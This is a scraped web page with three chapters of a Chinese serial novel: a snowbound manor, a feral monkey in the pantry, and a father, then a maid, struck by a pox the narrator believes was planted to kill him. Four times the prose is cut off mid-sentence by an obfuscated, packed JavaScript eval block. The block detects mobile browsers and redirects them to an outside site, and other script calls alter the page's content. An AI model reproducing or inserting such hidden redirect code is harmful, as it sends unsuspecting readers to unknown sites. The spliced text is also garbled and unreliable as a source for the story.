风声在古老的橡木梁间呜咽，仿佛有无数细小的爪子在刮擦墙壁。 我握着匕首，侧身拉开房门。 走廊同样一片漆黑，死寂得可怕。 只有我的心跳和风雪声在耳畔轰鸣。我能感觉到自己急促的呼吸在冰冷的空气中凝成白雾。 “艾格尼丝？”我压低声音呼唤，声音在空旷的走廊里回荡。 没有回应。 只有风雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100930|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍打窗户的呜咽，以及…寂静。 我贴着冰冷的墙壁，向楼梯口移动。 脚下的木板发出轻微的声音，在寂静中格外刺耳。 晚餐时配膳室门后的刮擦声，那带着土腥和甜腻糖渍的气息，此刻在脑海中无比清晰地翻涌上来。 楼下传来一阵窸窸窣窣的声响，像是有什么东西在快速移动，伴随着轻微的令人牙酸的……咀嚼声？ 我加快了脚步，几乎是滑下楼梯。 借着从仆役厅门缝透出的一点微弱灯光（大概是有人被惊醒后点了灯），我看到几个人影惊恐地聚集在储藏室门口，手里端着油灯或烛台，光线摇曳不定，在他们脸上投下惊慌失措的阴影。 艾格尼丝瘫坐在冰冷的地板上，背靠着墙，双手死死捂住嘴，身体筛糠般颤抖。她的眼睛瞪得溜圆，瞳孔因极度的恐惧而放大，死死盯着储藏室黑洞洞的门内。一个男仆试图扶她，手也在抖。 “艾格尼丝！”我冲到近前蹲下，“发生了什么？” 她嘴唇哆嗦着，好半天才发出破碎的音节，“鬼……鬼……有鬼影！小小的……像……像孩子……又不像……它……它跳下来……在……在吃东西……”她语无伦次，手指颤抖地指向储藏室里面。 “吃东西？”我心头一紧，顺着她指的方向看去。 储藏室的门敞开着。借着门口仆人们手中摇晃的光线，能看到里面一片狼藉。面粉袋子被划破，白色的粉末洒了一地。几个果酱罐子被打翻在地，黏稠暗红的果酱像凝固的血液泼溅在木架和地面上。空气中弥漫着甜腻的果酱味、面粉的粉尘，还有……一丝若有若无的土腥和动物膻气。 地板上，除了面粉和果酱的污迹，还有一些细小的、湿漉漉的爪印，模糊不清，指向储藏室深处堆放的杂物阴影里。 “它……它就在那儿……跳下来……”艾格尼丝还在喃喃，显然吓得不轻。 “都别动！”我低喝一声，站起身，握紧匕首挡在门口，目光锐利地扫视着储藏室深处的黑暗角落。仆人们噤若寒蝉。 就在这时！ “吱嘎！” 一道黑影，快如闪电，猛地从靠近天花板的阴影里窜了出来！ 它体型不大，约莫两三岁孩童大小，但动作奇诡迅捷，四肢并用，在墙壁和木架甚至天花板的横梁上如履平地般飞窜！ 它没有直扑门口，而是像一道扭曲的黑色闪电，在狭小的空间里急速折返跳跃，利用杂物的遮挡制造混乱！ 油灯和烛火的光线根本无法捕捉它清晰的模样，只能看到一团模糊的黑影在疯狂移动，伴随着令人毛骨悚然的、类似孩童嬉笑又像是动物嘶叫的尖利声音！ “啊！！！”又有仆人忍不住尖叫起来。 “安静！别让它跑了！”我厉声喝道，试图抓住那东西的轨迹。 它太快了！而且异常狡猾，总是在光线边缘游走。 混乱中，那黑影猛地蹬踏一个面粉袋，借力高高跃起，直扑向门口端着油灯吓得呆住的年轻男仆！ “小心！”我下意识地挥臂格挡。 黑影的目标似乎并不是男仆，而是他手中的油灯！它细长的爪子（或者别的什么）猛地一挥！ “哐当！” 油灯被打翻在地，灯油泼洒出来，火焰“呼”地一下窜起，瞬间点燃了泼洒的灯油和地上散落的面粉！ 火焰腾起，夹杂着面粉燃烧的爆裂声，火光猛地照亮了整个储藏室门口！ 47.5.5 就在这一瞬间的光亮中，我终于看清了那东西的轮廓！ 那绝不是鬼影！ 那是一只……猴子？！ 四肢比例怪异，体型比寻常猴子更瘦长，毛发脏污得看不出原色。它的眼睛在火光中反射出野兽的幽绿，嘴巴咧开，露出尖利的牙齿，沾满了暗红色的果酱，使它看起来如同刚刚茹毛饮血的恶鬼！最诡异的是它的动作，带着一种非自然的痉挛和扭曲！ 它似乎也被突然窜起的火焰惊到了，发出刺耳的尖叫，放弃了门口，猛地向撞开了储藏室另一侧一扇平时很少开启的门，那通往宅邸后方杂物堆放小厅，迅速消失在浓稠的黑暗里。 “快灭火！”我顾不上追那东西，立刻指挥吓傻的仆人们。 “姐姐！”纳迪尔的声音传来！他跑了过来拉着我从火焰中冲出来。 几个人手忙脚乱地用脚踩、用布扑打地上的小火苗。好在火势不大，很快被扑灭，只剩下呛人的烟气和焦糊味。 “姐姐！你没事吧？！”纳迪尔担心地问。 我看着他摇了摇头。 “是……是猴子？”一旁稍微年长些的女仆颤抖着问，脸上惊魂未定，“可……可哪来的猴子？还这么……这么邪门？” 我看着那扇被撞开的、通往杂物小厅的门，以及地上熄灭的火焰留下的焦黑痕迹和刺鼻气味。 那只猴子……它身上那令人作呕的土腥膻味，还有它那疯狂扭曲的动作……绝对不正常。 而且，它为什么偏偏出现在储藏室？仅仅是为了偷吃果酱？ 晚餐时配膳室门后的刮擦声和糖渍……是它吗？ “有人受伤吗？”我环视众人。 艾格尼丝被扶了起来，还在发抖，但看起来没有外伤。其他人只是受了惊吓。 “纳迪尔。我得去见见父亲。” 不管是什么怪事，它目前最有可能地是冲着父亲来的。 一种莫名的心悸笼罩了我。 我的去见见父亲。 我吸了口气，压下心悸，转向纳迪尔和惊魂未定的仆人，“守好这里，检查有没有别的入口封死。纳迪尔，跟我去父亲那儿。现在。” 走廊壁灯的光昏黄摇曳，拉长我们的影子，在地毯上扭曲晃动。 越靠近父亲房间所在的东翼，我就越感觉心慌。 拐过最后一个弯角，父亲的贴身男仆老乔瑟夫正焦躁地在厚重的雕花木门外踱步。 “小姐！少爷！”他一见我们，几乎是扑过来的，脸色比墙上挂的祖先肖像还灰败，“老爷他……老爷他不太对！” 我的心猛地一沉。“怎么回事？开门！” 门被推开。 一股怪异腐败的甜腥气息扑面而来。 厚重的天鹅绒窗帘紧闭，只点着一盏床头小灯，光线吝啬地照亮一小片区域。 父亲靠在巨大的四柱床上，厚重的被子盖到胸口。仅仅几个时辰不见，他像是被抽掉了一半精气神。额头上满是冷汗，打湿了头发，一缕一缕的头发混着反光的汗渍贴着头皮，嘴唇干裂起皮，脸颊不正常地泛着潮红。他闭着眼，呼吸又粗又重，就像是一条濒临渴死的鱼。 “父亲！”纳迪尔带着哭腔扑到床边。 父亲的眼皮颤动了几下，费力地掀开一条缝。眼神浑浊，失焦地在放我们脸上。 “是……你们啊……”他声音嘶哑得厉害，“我……” “您感觉怎么样？”我上前一步，手背下意识想探他额头，却在半空停住。他的状态太不对劲了。 “冷……”他含糊地咕哝，身体在厚被下不易察觉地抖了一下，“骨头……像被敲碎了……头……炸开一样疼……”他费力地抬起一只手想揉太阳穴，袖口滑落了一截。 就在那一瞬间的光线下，我看到他小臂内侧靠近手腕的地方，有着突兀的深红色斑点。 不大，却红得刺眼，像皮下渗出的血珠。 旁边似乎还有许多更小的、微微凸起的硬点。 不是蚊虫叮咬。绝对不是。 老乔瑟夫顺着我的目光也看到了，倒抽一口冷气，声音压得极低，带着恐惧。 “前几天……下午老爷就说手上被什么小虫子叮了一下，有点痒……刚才换衣服时，就……就看见这个了！而且老爷突然就烧起来了，说冷得打颤……” 虫子叮咬？发烧？寒战？骨头剧痛？还有那些诡异的红点…… 那只猴子咧嘴时，尖牙上沾满的暗红色污渍。它那痉挛扭曲的动作…… 恐惧窜上了我的心头。让我忍不住后退几步。 “乔瑟夫！”我强行压下内心的恐慌，声音异常紧绷，“你亲自去马厩挑最快的马，立刻派人骑马去请布朗医生！告诉布朗医生，情况非常紧急，可能是……某种严重的痘症，接触过野生动物！让他带上所有可能用得上的消毒药水和隔离用品！快！用跑的！” “是！小姐！”老乔瑟夫被我的语气震慑，瞬间找回了主心骨，踉跄着转身冲出门去。 “纳迪尔！”我一把抓住扑到父亲床边的弟弟后退几步，力道大得让他痛呼一声，“别靠近！” 他惊愕地看着我，眼中满是不解和受伤，“姐姐？” “看着父亲，但别碰他！离床远一点！”我急促地命令，目光死死看着父亲手臂那些不详的红点，“乔瑟夫说父亲被虫子叮过……那只猴子……它身上可能带着病！很危险的病！” “猴子？”纳迪尔脸色瞬间惨白，“你是说……父亲是被……” “很可能。”我打断他，强迫自己移开视线，看向父亲。 他闭着眼，眉头痛苦地紧锁，粗重的呼吸带着灼热的气息，每一次吸气都带着巨大的痛苦。 “父亲……”我站在床的远处，声音放得极轻，“您能听见我吗？您除了被叮咬的地方痒，还有哪里不舒服？身上……其他地方，有没有起类似的疹子？” 父亲的眼皮颤动了几下，他张了张嘴，声音嘶哑微弱，“……弗瑞……冷……浑身……都疼……我…背上……好像……也痒……”他艰难地抬起那只没起疹子的手，无力地想去抓挠后背。 “别抓！父亲，千万别抓！”我急声阻止。 背上的痒……疹子在蔓延！这速度……太快了！ 不管它是什么疫病，它现在恐怕已经彻底爆发了！ “纳迪尔，去把壁炉的火再烧旺些！但别靠父亲太近！” 我一边指挥，一边迅速扫视房间。 厚重的窗帘紧闭，空气凝滞，弥漫着病人特有的气息和那股若有若无的腐败甜腥。 这太糟了！ “快把窗户打开！一点点就好！要通风！快！” 纳迪尔几乎是跳起来执行命令。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16104981|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他手忙脚乱地拨旺壁炉里的炭火，又跑到窗边，小心翼翼地掀开厚重天鹅绒窗帘的一角，费力地推开沉重的雕花窗棂。 夹杂着风雪的空气瞬间涌入，吹散了室内令人窒息的闷热，也带来刺骨的寒意。 借着纳迪尔拨旺炉火时骤然亮起的光线，我终于清晰地看到了父亲手臂上的疹子。 那不仅仅是几个红点！ 在他小臂内侧，靠近手腕被叮咬处为中心，已经零星散布了十几颗大小不一的丘疹！ 颜色鲜红如血，有些顶端似乎已经有了令人心头发麻的凹陷！ 而在他因寒冷和不适而微微敞开的睡衣领口下方，锁骨附近，同样刺目的红点也隐约可见！ 疹子！在蔓延！ 在发热的短短时间内，已经扩散了！ 壁炉的火光跳跃着，将那些疹子映照得如同嵌在苍白皮肤上的深红色玛瑙。 窗外的风雪呼啸，整个庄园里乱作一团，仆人们尖叫奔跑的声音传来，而这个房间里只有不祥的阴影。 “姐姐……怎么办？” 纳迪尔的声音带着哭腔，他站在窗边，手里还攥着窗帘，像个吓坏了的孩子。 怎么办？我也想问。 布朗医生赶来需要时间，而这诡异凶险的病症却在疯狂地攻城略地。 那只肮脏的猴子，它只是一个工具！ 一个被精准投放到储藏室和配膳室附近，靠近食物，也便于潜入宅邸深处区域的工具！ 它的目标，从一开始就是我的父亲！ 就是要用这种最恶毒肮脏的方式，无声无息地除掉这个敢于挑战他们利益的人！ 我紧紧握住拳，指甲深深掐进掌心，用疼痛强迫自己思考。 不能慌。 现在父亲和整个庄园的安危，都悬于一线。 我不能慌。 “纳迪尔，听着！”我转向他，“你立刻去楼下！告诉所有仆人，庄园里可能爆发了严重的传染病，源头可能来自那只猴子！让所有人立刻检查自己身上是否被虫子叮咬或起疹子！有异常立刻报告，但不要乱跑！让艾格尼丝她们把烧好的热水、硫磺粉、石炭酸全部拿到一楼大厅！所有人用热水仔细清洗裸露的皮肤，尤其是手和脸！用硫磺水擦拭可能被猴子碰过的任何地方！把储藏室和杂物间彻底封死！没有我的命令，谁也不准进去！还有……让厨房准备大量的淡盐水！快！” 我必须立刻建立起最简陋的隔离和消毒防线。阻止可能的传播。 纳迪尔用力点头，脸色苍白却眼神坚定，转身冲了出去。 房间里只剩下我和父亲粗重痛苦的呼吸声。壁炉的火光在墙上投下巨大摇曳的影子，如同张牙舞爪的鬼魅。窗外的风雪更加猛烈了，狂风卷着雪沫扑打着窗户，发出可怖的咆哮。 我站在房间内离父亲最远的地方，却不敢靠近。 我看着他在高热和剧痛中煎熬，看着那些不祥的红点在昏暗中如同地狱的烙印般一点点浮现蔓延…… 而我，除了等待医生，别无他法！ 一种前所未有的无力感和滔天的愤怒在我胸中翻涌。 上帝啊！ 这是赤裸裸的谋杀！ “约瑟！” 慌乱地叫声传来，又一个人匆忙地冲了进来，扑到了父亲的床边。 母亲！ 48.5.6 “母亲！”我慌乱地叫她，进乎无礼地拉着她远离父亲，“您应该保持……” “不…他需要照顾…我要陪着他。”母亲打断了我要说出口的话。 她看着我，悲哀，且决绝。 我无法阻拦我的母亲，去靠近，去照顾我的父亲。 她的爱，让她在这种疫病面前，亲力亲为。 读者们。 这并不理智。 可我又无法用理智去要求她的选择，在这种生死关头，母亲的行为是复杂且伟大的。 她足够冷静。 我能做的，只有不断地劝说她尽量得戴上防护，好几层丝巾做成的口罩面纱，还有手套…… …… 壁炉里的火焰跳跃，试图驱散这间巨大卧房里弥漫的死亡寒意，却只徒劳。 母亲的身影在昏暗中俯低，几层丝巾叠成的粗糙面纱遮住了她大半张脸，只露出一双眼睛。 火光映在她眼角的湿润上，泛出令人心痛的痕迹。 她戴着厚实的家务手套，正用一块浸透了刺鼻硫磺水的布巾，一遍又一遍地擦拭着父亲滚烫的额头。动作轻柔，却又带着坚决。 父亲的手腕被柔软的布带牢牢缚在雕花床柱上。 他仍在挣扎，无意识地、固执地，试图抓挠那些已经在他皮肤上蔓延开来的红痘。喉咙里发出含糊不清的呓语，破碎的音节夹杂着痛苦的呻吟，像被困在噩梦最底层的灵魂在哀嚎。 “…冷……好冷……烧……烧起来了……”他的声音嘶哑撕裂。 我站在阴影里，离床最远的角落。指甲早已深深陷进掌心。 我看着母亲不顾一切地靠近那致命的源头，看着她被面纱模糊的侧脸在昏暗光线下透出的绝然。 理智在尖叫，离开！危险！ 可情感在低泣，那是她的选择，她的爱。 我只能眼睁睁看着，如同看着一艘明知前方是冰山，却依然固执航行的船。 父亲能活下来吗？ 母亲又是否会受影响？ 当时的我完全不知道…我也不敢思考这些问题。 我让老乔瑟夫带着几个忠心自愿的仆人帮衬着母亲。然后离开了父亲的房间。 我得去防止疫病的扩散，安抚那些惊恐的仆人。 整个本家庄园，兵荒马乱，彻夜长明。 窗外的风雪也喧嚣了一整夜。 还有…纳迪尔。 我长大的弟弟，他很害怕，我知道的… 我也很害怕…… 我不知道怎么去诉说一场噩梦… 纳迪尔一直陪在我的身边，他的存在是让我不至于彻底崩溃… 可我又害怕…害怕纳迪尔出什么事…… 那个病的潜伏期是多长？在潜伏期的时候，其他人是不是早就已经感染了？纳迪尔是不是也已经感染了？我不知道…全都不知道？ 一切的未知和不安定让我感到彻底的恐慌…… 简…梅尔小姐… 他们会这个风雪夜过来吗… 我疯了一样的跑过去打电话，未接… 这一切都太糟糕了… “布朗医生……怎么还没到？”纳迪尔的声音干涩。 “快了……应该快了……” 我的声音听起来破碎且慌乱，连自己都无法说服。 风雪太大了。 大雪足以吞噬马蹄声，足以让最熟悉道路的骑手迷失方向。 送信的仆人……他能安全抵达吗？布朗医生……他愿意在这种天气，为一种凶险异常的疫病冒险吗？ 简……梅尔小姐…… 微弱的希望像风中残烛般亮起，又瞬间被更大的恐慌扑灭。 电话那端持续空洞的忙音还在我耳中回响。 风雪隔绝了道路，也隔绝了最后可能来自外界的援手。 她们过不来。 没有人能过来。 突然，门外走廊传来沉重而杂乱的脚步声，伴随着仆人嘶哑急切的呼喊。 “小姐！少爷！布朗医生到了！快开门！” 门被用力推开。 刺骨的寒风裹着雪沫猛地灌进来，吹得油灯的火苗疯狂摇曳。门口站着两个几乎被雪覆盖的人影。 仆人像个雪人，大口喘着粗气，眉毛胡子上都结了冰霜，脸上是长途跋涉的疲惫和更深的恐惧。 他身后，是布朗医生。 这位平日里总是从容不迫的老医生此刻显得异常狼狈。厚实的大衣湿透了半边，沾满了泥雪，他手里紧紧抓着一个沉重的黑色皮质医药箱，另一只手则拎着一个鼓鼓囊囊的帆布包。 我们带他直奔父亲的房间，一进门，布朗医生就立刻职业性地迅速扫过整个房间，掠过被束缚在床上的父亲，俯身照料的母亲，最后看到了父亲手臂和颈间那些刺目的红痘丘疹上。 他的瞳孔猛地收缩了一下，脸色瞬间变得更加严峻。 “把门关紧！”布朗医生的声音异常沙哑，显然一路上也没少呼喊。 他一边快速解开自己湿透的大衣扣子，一边对老乔瑟夫说，“乔瑟夫，把壁炉的火再弄旺些！这该死的风雪！” 他的目光随即锐利地转向我和纳迪尔，严厉地扫过我们站的位置，“你们两个，离床再远点！至少保持六英尺！夫人！”他看向母亲，语气稍微缓和，但依旧强硬，“请您也立刻退后！至少戴上我带来的这种厚棉纱口罩！”他迅速从帆布包里掏出几个看起来更厚实，用多层棉纱缝制的口罩。 “医生，他……”母亲的声音带着哽咽，还想说什么。 “我知道！”布朗医生打断她，动作麻利地从医药箱里拿出一个听诊器，又取出一副厚厚的橡胶手套戴上，动作带着一种战场上才有的紧迫感，“症状很像！非常像我在非洲殖民地遇见过的……猴痘！接触传染性极强！所有人必须立刻严格隔离防护！”他戴上那个厚口罩，遮住了大半张脸，只露出一双写满凝重和决断的眼睛。 他毫不犹豫地大步走向病床，仿佛走向的不是一个危险的传染源，而是一个亟待他拯救的生命。 他是一个医生。 他没有丝毫犹豫地靠近了那片布满红疹，散发着不祥气息的皮肤。 “高热……寒战……全身剧痛……”布朗医生一边快速检查，一边低声自语，声音透过口罩显得模糊不清，“丘疹集中在暴露部位……叮咬处明显……进展……太快了……”他的眉头越锁越紧，检查父亲后背时，他的动作顿了一下，我能感觉到他周身的气压更低了。父亲背上肯定也布满了那些可怕的红点。 “脓疱……有些已经开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111020|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始形成脓疱了……”他直起身，声音沉重。 他转向母亲，眼神严厉无比，“夫人！您必须立刻离开这张床！您之前的防护远远不够！您接触过他的皮肤、他的□□！风险极高！” 母亲的身体剧烈地颤抖了一下，像是被这句话狠狠刺穿了支撑她的那口气。 她看着床上痛苦不堪的丈夫，又看看医生严厉到几乎无情的眼神，泪水终于汹涌地冲出眼眶，浸湿了丝巾面纱。 但她没有动，只是固执地摇头，手还紧紧攥着父亲滚烫的手指。 “不……我不能……留他一个人……”她的声音破碎不堪。 “您留在这里，只会增加您自己被感染的风险！也会让我们分心！”布朗医生的声音近乎咆哮。 他看向我和老乔瑟夫，眼神示意，“扶夫人离开床边！立刻！给她换上厚口罩！手套！” 我的心揪成一团。 理智告诉我医生是对的。 但看着母亲被强行从父亲身边剥离的痛苦，那种撕裂感几乎让我窒息。 老乔瑟夫已经上前，他布满皱纹的脸上同样写满悲痛，但动作却异常坚定。 他小心地几乎是半搀半抱地将摇摇欲坠的母亲从床边拉开。 母亲挣扎了一下，那力道微弱得让人心碎，最终像断了线的木偶般被带到房间另一侧。她死死盯着床上昏迷的父亲，泪水无声地流淌。 布朗医生不再看这边，他迅速打开医药箱，拿出几个棕色的玻璃小瓶和干净的绷带。 “乔瑟夫！热水！大量的热水！干净的布！还有，我需要烈酒！越烈越好！”他语速飞快地吩咐，“小姐！”他转向我，目光如炬，“立刻统计庄园里所有人！所有接触过可疑物品或者被不明小虫叮咬过的人！全部集中到一楼西侧的小起居室！门窗打开通风，但必须远离主楼梯和这里！没有症状也要隔离观察！从现在起，任何人不得随意走动！食物饮水由专人负责！负责的人必须像我一样戴厚口罩和手套！接触过的东西必须用沸水或烈酒消毒！听懂了吗？！” 清晰，冷酷，不容置疑。 每一个字都在勾勒一幅更恐怖的图景，瘟疫可能早已在无声中蔓延。 “听懂了，医生！”我强迫自己用最大的力气回答，指甲几乎要嵌进肉里。 我看向纳迪尔，他脸色惨白，嘴唇哆嗦着，显然也被医生的严苛和事态的严重性吓住了。 “纳迪尔，”我的声音尽量平稳，“跟我下楼。我们……”我话还没说完，门外走廊突然传来一阵极度惊恐的尖叫声，伴随着杂乱的奔跑声和什么东西被打翻的巨响！ “小姐！小姐！不好了！艾格尼丝……艾格尼丝她……她身上……也起了红点！在厨房……她……她晕倒了！” 一个年轻女仆带着哭腔的嘶喊声在门外炸响，充满了末日般的绝望。 轰隆！ 仿佛一道惊雷在头顶炸开。 我和纳迪尔瞬间僵在原地，血液似乎都凝固了。 布朗医生的动作也猛地一滞。 最坏的预想……成真了。 瘟疫的魔爪，已经伸向了其他人。 艾格尼丝…… 恐惧像冰冷的潮水，瞬间淹没了整个房间。 窗外，风雪的呼啸声，听起来如同死神的狞笑。 49.5.7 读者们，这是一场漫长的噩梦。 艾格尼丝的倒下，是不祥的开始。 这个庄园人心惶惶。 一切都太可怕了… 我不知道… 我不知道我究竟是怎么度过那个夜晚的… 当我回想起来… 我竟然无法用词句来形容那种感觉。 也许是…恍惚…？ 对…恍惚… 布朗医生很专业… 他是这附近最好的医生… 他上过战场，当过军医，见识广。 后面我几乎是恍惚着听着他指挥… 艾格尼丝… 可怜的艾格尼丝…… 我们把她移到了靠近我父亲的居室，方便医生照顾。 可是…… “她需要专人照顾…上帝啊…” 我没有权利要求仆人去照顾这样一个感染的病人，这关乎生死… 我只好亲自去问，是否有人自愿… 十几个仆人聚在西侧的小起居室，对于我的询问，他们神色各异… “小姐…我去吧…”一个苍老嘶哑的声音说。 那是一个老妇人。 是我回家时给我开门的那个老妇人。 她很老了。 岁月在她脸上留下了刻痕，她的背是佝偻的，眼睛浑浊…… 她叫什么名字？ 我不知道。 从我记事起，她就在本家庄园了，做着最下等的活计，人们散漫对待她… 老女人，喂…或者我的父母称呼她为老亨利…亨利据说是她早跑了的丈夫的姓氏… 她叫什么名字？ 没有人知道。 也不会有人为及她的名字… 她是一个悲惨的女性。 沉默寡言了一辈子…… 但是，当所有人的都沉默的时候，这个老妇人站了出来。 “可是，您可能会有生命……”我希望她明白。 “没关系…我已经足够老了…”她摇头。 ……老妇人浑浊的眼睛里没有恐惧，只有一种认命的平静，甚至……迟暮之年的决绝。 她佝偻着背，像一截枯朽的树枝，却稳稳地站在那里，对着我，也对着满屋子瑟缩的年轻人，点了点头。 “我去吧，小姐。”她又重复了一遍，声音嘶哑，“我这把老骨头…不怕了。” 劝阻的话堵在喉咙里，最终只化作一个沉重的点头。 我无法拒绝。 艾格尼丝也确实需要。 布朗医生迅速给她做了最简陋的防护，厚棉纱口罩和家务手套外面又套了几层医生带来的橡胶手套，再用布条扎紧袖口和裤腿。 她步履蹒跚地走向那间被死亡气息笼罩的侧室，背影在昏暗的走廊灯光下，微小得几乎要被黑暗吞噬。 那一夜，漫长如一个世纪。 布朗医生彻夜未眠，他的身影在床榻和艾格尼丝躺着的临时床铺间来回移动，动作麻利却沉重。 酒精和硫磺水的刺鼻气味混合着病人身上散发的微甜腐败气息，弥漫在每一个角落。 父亲断续的呓语和艾格尼丝压抑的呻吟，是黑暗中唯一持续的声音。敲打着所有人紧绷的神经。 纳迪尔和我蜷缩在客厅冰冷的壁炉前，裹着毯子，却感觉不到丝毫暖意。 壁炉里的火苗微弱地跳跃，映着我们同样惨白，写满惊惶的脸。 我们不敢睡，也睡不着。 每一次走廊传来的脚步声，都让我们惊跳起来。 是医生需要帮助？还是又有新的坏消息？ 恐惧，惶恐，无力… 老乔瑟夫和其他几个忠心的仆人，在医生的严令下，尽可能地做着消毒和隔离的工作，脚步沉重，眼神躲闪，整个庄园笼罩在一片死寂的忙碌中。 窗外的风雪不知何时停了。 清晨的第一缕阳光，照在皑皑的白雪上，仿佛永不停歇的风雪迎来了它的落幕，而我的家，却仍旧笼罩在死亡的阴霾里。 布朗医生疲惫地推门出来，他的口罩边缘被汗水浸透，眼底布满血丝，整个人沉满了疲惫，却不敢松懈。 “暂时稳定了，”他的声音沙哑得厉害，“但情况……非常糟。夫人需要休息，她不能再进房间了，我给她用了点安神的药水。” 他看向我，眼神里是深不见底的忧虑，“现在只能等，看他们自身的抵抗力……还有，祈祷上帝。” 上帝啊！ 我们只能祈祷上帝的保佑… 主在天堂俯瞰众生… 祂又是否能看见我们的死亡阴影？ 我们祈求祂的怜悯… 医生… 医生的目光扫过我和纳迪尔，最后落在紧闭的侧室门上。 “那位老妇人……她很坚韧。但你们必须记住，任何接触都极其危险。不能松懈。” 整个庄园在令人窒息的死亡阴影下运作起来。 所有能通风的门窗都被打开了，冷冽的空气灌进来，吹散不了恐惧，只带来刺骨的寒意。 每个人，只要出现在公共区域，都被强制戴上了布朗医生带来的厚棉纱口罩，遮住了大半张脸，只留下一双双惊惶不安的眼睛。 手套成了必需品。 仆人们沉默地传递着烧开的热水和浸泡过烈酒的布巾，动作僵硬，彼此之间保持着医生要求的距离。 空气里飘散着浓重的消毒水味道，掩盖了庄园昔日熟悉的紫罗兰芬芳。 每一次咳嗽，哪怕只是轻微的干咳，都会引来周围人充满戒备的注视。 我和纳迪尔强迫自己喝下一点热汤，食不知味。 这是地狱吗？每一分每一秒都无比难熬。 我们只能听着远处偶尔传来的、被压抑的呻吟或医生的低语，神经绷到了极限。 就在这令人窒息的死寂和等待中，前厅的方向，突然传来一阵与这绝望氛围格格不入的、急促而响亮的敲门声！ 那声音如此突兀，如此激烈，瞬间打破了笼罩庄园的沉闷死寂。 我和纳迪尔猛地站起身，心脏几乎要跳出喉咙。 老乔瑟夫已经跌跌撞撞地冲了过去。 门被拉开。 刺眼的白雪反光涌了进来，随之涌入的，是两个几乎被风雪完全覆盖的身影，带着一身凛冽的寒气。 是简！还有梅尔小姐！ 她们的模样狼狈极了。简那件厚实的羊毛大衣沾满了泥浆和雪块，帽檐下露出的头发湿漉漉地贴在额角，脸颊冻得通红，呼吸急促地喷着白气。而梅尔小姐，和她半斤八两。 简没有立刻说话，她锐利的目光迅速扫过我们脸上的口罩，扫过弥漫在空气中的消毒水气味，扫过每个人脸上无法掩饰的恐惧，最后落在布朗医生闻声从父亲房间门口探出的、同样戴着口罩的脸上。 她的眼神瞬间变得无比凝重和专业。 “是传染病？”简的声音透过她呼出的白气传来，冷静得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16120766|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近乎冷酷。 我不敢让她们进来。 万一…她们也感染了这么办？ 我让他们也带上了厚厚的棉纱口罩。 我们在庭院中，我们踩在白雪上。 “是的…医生说是猴痘……我不知道…等我发现的时候，想通知你们的时候，你没有接我的电话。” 简听完我语无伦次的叙述，恐怖的猴子…父亲的突然病倒，艾格尼丝的倒下，以及人为投放的可怕猜测。 她的眼神从最初的震惊和关切，迅速沉淀为冰冷锐利。 那不再是友人探访的目光，而是像在审视一个复杂的犯罪现场。 梅尔小姐则显得异常沉默 简看着我，她想安抚我，却不知道怎么说。 “我昨晚接到电话，就马上开车赶过来…风雪太大，车子陷在半路，我们几乎是走过来的！到底发生了什么事？你家人……？” “我的父亲感染了，他是最初的感染者…” 然后，又是沉默。 风雪没能阻挡她们。 最深的绝望是，她们来了。 人力在天灾面前有什么用呢？ 即使这天灾是人为营造的？ “那只猴子呢？”简问。 “不……不知道！”我慌乱地摇头。 “当时一片混乱，忙着灭火，那只猴子！它……它跑了！” 那只猴子恐怕就是源头，可是它还在庄园的某个角落游荡…… 简的眼神瞬间变得异常锐利。 “它还在庄园里。必须找到它。活要见，死要见尸。它是源头，也是证据。” 一直沉默的梅尔小姐忽然开口，声音低沉平稳。“储藏室。它最初出现的地方。”她的目光投向宅邸深处，没有丝毫犹豫，仿佛已经锁定了目标。“带路。” “不行！那里可能还有病毒！”我惊叫。 梅尔小姐没有在意，只看着简。 简沉默着，然后对我说，“我们需要最严密的防护。手套和口罩吗？再加一层。还有酒精，大量的酒精。” 我看到简眼中不容置疑的决断，最终还是沉重地点点头。 “小心！任何接触物都可能携带病毒！绝对不能徒手碰任何东西！出来必须彻底消毒！”我叮嘱着。 